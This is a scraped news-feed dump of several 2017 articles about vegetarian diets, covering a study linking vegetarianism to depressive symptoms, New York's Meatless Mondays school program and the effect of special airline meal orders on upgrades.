The post The Difference Between Vegan and Vegetarian (No They Aren’t the Same) appeared first on Lifehack.

]]> https://briefnews.eu/the-difference-between-vegan-and-vegetarian-no-they-arent-the-same/feed/ 0 Depression symptoms higher in those following vegetarian diet, study finds https://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds-2/ https://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds-2/#respond Fri, 03 Nov 2017 19:14:20 +0000 http://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds-2/

Eating a vegetarian or vegan diet has been linked to increased chances of suffering symptoms of depression, according to new analysis.

Authors of the study suggest “nutritional deficiencies” could account for the “significant depressive symptoms” they discovered in participants identifying as vegetarian or vegan.

Deficiencies researchers highlighted include key fats and nutrients meat is rich in, such as Vitamin B12.

Researchers from the University of Bristol and National Institutes of Health, based in the US, made the claims after re-investigating earlier research.

Their paper is based on re-analysis of data from an older study conducted in 1992 with around 10,000 expectant fathers in Avon, Devon, of which only 350 men were vegetarians.

The paper, published in the Journal of Affective Disorders, found a statistically significant relationship between symptoms of depression and a vegetarian diet.

This stayed true even when adjusting for other factors linked to higher rates of depression, such as a family history of mental health problems, employment status and alcohol consumption.

However a more controlled investigation is needed before it can be suggested vegetarianism caused these depressive traits or vice-versa.

The original study tested male participants against the Edinburgh Post Natal Depression Scale, 18 weeks into their partners’ pregnancy.

It also asked participants to report foods they ate. Men identified as vegetarian were those who had a “lower consumption of sausages, burgers, meat pies, meat, poultry, liver and white fish” and 97 per cent of the vegetarians enjoyed “green leafy vegetables”.

But the paper did show they weren’t averse to eating meat, with more than one in ten saying they would happily eat a meat pie, and at least four reporting to eating offal.

And a higher proportion of those the study identified as vegans reported eating red meat than those who called themselves vegetarians, 7.2 per cent versus 4.7 per cent.

Study authors say while a vegetarian diet is associated with improved heart health and other benefits, “little is known about the benefits or risks” of a vegetarian diet on mental health.

It concludes that diet can impact on mood in several ways, including a lack of key vitamins or fats, although these levels were not tested.

The paper says: “Since exclusion of red meat primarily characterises vegetarians, lower intakes of vitamin B12 merit consideration as a contributing factor. Our findings are also consistent with a [2014] evaluation of 1046 Australian women where lower red meat consumption was associated with nearly a doubling of risk for major depressive and anxiety disorders.”

But it acknowledges diet choice and mental health are affected by multiple factors, saying: “This study does not resolve the question of whether adoption of a vegetarian diet will increase, or decrease the risk of depressive symptoms or affect mental well-being or what specific nutrients, if any, may influence those risks, but does suggest that a randomised controlled trial of selected nutrients or foods may be warranted.”

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]]> https://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds-2/feed/ 0 Depression symptoms higher in those following vegetarian diet, study finds https://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds/ https://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds/#respond Fri, 03 Nov 2017 18:44:19 +0000 http://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds/

DEPRESSION symptoms have been found to be more likely in vegetarians, according to new analysis.

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]]> https://briefnews.eu/depression-symptoms-higher-in-those-following-vegetarian-diet-study-finds/feed/ 0 Let them eat tofu: New York schools to serve mandatory vegetarian meals https://briefnews.eu/let-them-eat-tofu-new-york-schools-to-serve-mandatory-vegetarian-meals/ https://briefnews.eu/let-them-eat-tofu-new-york-schools-to-serve-mandatory-vegetarian-meals/#respond Wed, 25 Oct 2017 17:45:43 +0000 http://briefnews.eu/let-them-eat-tofu-new-york-schools-to-serve-mandatory-vegetarian-meals/

To save the planet, students at 15 public schools in Brooklyn will only be served vegetarian breakfast and lunch on Mondays, New York City’s mayor has announced. The program is set to start in the spring of 2018.

“Cutting back a little on meat will help make our city healthier and our planet stronger for generations to come,” Mayor Bill de Blasio said in a statement introducing the ‘Meatless Mondays’ nutrition program. The mayor also said he and his wife, Chirlane McCray, will also go meatless for all Monday meals, including those served to guests at Gracie Mansion, the mayor’s residence.

Going vegetarian for one day a week could help reduce the carbon footprint and preserves resources like water, De Blasio argued, saying: “Approximately 1,840 gallons of water are needed to produce a single pound of beef, while only 39 gallons are needed to produce a pound of vegetables.”

There are already five schools that have adopted the program. It appears to be limited to a small subset of students in New York City, which has over 1,700 public schools with 1.1 million students.

The schools in the program will serve a variety of meals, including spinach wraps, vegetarian chili, roasted chickpea tagine, black bean quesadillas, crispy tofu, zucchini parmigiana and margherita pizza. The initiative builds off a plant-based health initiative started by the Brooklyn Borough president Eric Adams, who is fighting against Type 2 diabetes.

The mayor sat down with students at Public School 1 in Brooklyn on Monday, asking them about their favorite vegetable.

“This is going to be the most shocking revelation of the week, number one with enthusiasm was broccoli,” De Blasio said, according to the radio station WINS.

Not all the students are happy with the menu choice, however. When WINS asked eight-year-old Gavin Garcia whether his classmates liked the food they were eating, he said “No.”

Asked what complaints they had about the menu, Garcia replied: “They don’t like vegetables.”

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]]> https://briefnews.eu/let-them-eat-tofu-new-york-schools-to-serve-mandatory-vegetarian-meals/feed/ 0 Vegetarian warning: Trendy diet means you could miss health benefits of THESE four meats https://briefnews.eu/vegetarian-warning-trendy-diet-means-you-could-miss-health-benefits-of-these-four-meats/ https://briefnews.eu/vegetarian-warning-trendy-diet-means-you-could-miss-health-benefits-of-these-four-meats/#respond Sun, 10 Sep 2017 18:36:51 +0000 http://briefnews.eu/vegetarian-warning-trendy-diet-means-you-could-miss-health-benefits-of-these-four-meats/

VEGETARIAN – or plant-based – diets have soared in popularity in recent years, but ditching meats, such as chicken and beef, could mean you miss out on vital nutrients.

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]]> https://briefnews.eu/vegetarian-warning-trendy-diet-means-you-could-miss-health-benefits-of-these-four-meats/feed/ 0 This is why you should NEVER order a vegetarian meal on a plane https://briefnews.eu/this-is-why-you-should-never-order-a-vegetarian-meal-on-a-plane/ https://briefnews.eu/this-is-why-you-should-never-order-a-vegetarian-meal-on-a-plane/#respond Sun, 13 Aug 2017 03:38:37 +0000 http://briefnews.eu/this-is-why-you-should-never-order-a-vegetarian-meal-on-a-plane/

If ordering a vegetarian meal, or any dish that isn’t part of the standard options, it could reduce the chances of getting a flight upgrade.

If there are seats available in business class then a passenger flying in economy class could be lucky enough to get bumped up.

However, if they have chosen a vegetarian meal, they may not get upgraded as the plane is less likely to have a vegetarian option in first class.  

Therefore they’re more likely to look for another person flying with a normal meal option.

Of course, for those choosing the vegetarian meal due to intolerances or ethics, it is an unavoidable option.

Nik Loukas, a former flight attendant with Qantas, told Business Insider UK: “If there’s a special meal request in your booking, the airline won’t even look at you [for an upgrade].

“Because you’ve got a dietary requirement, they might not be able to cater for you if they upgrade you.”

Therefore it can be much safer to stick to the standard option of meals.

Some plane food, even in economy, can still be a delicious option, depending on the airline.

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]]> https://briefnews.eu/this-is-why-you-should-never-order-a-vegetarian-meal-on-a-plane/feed/ 0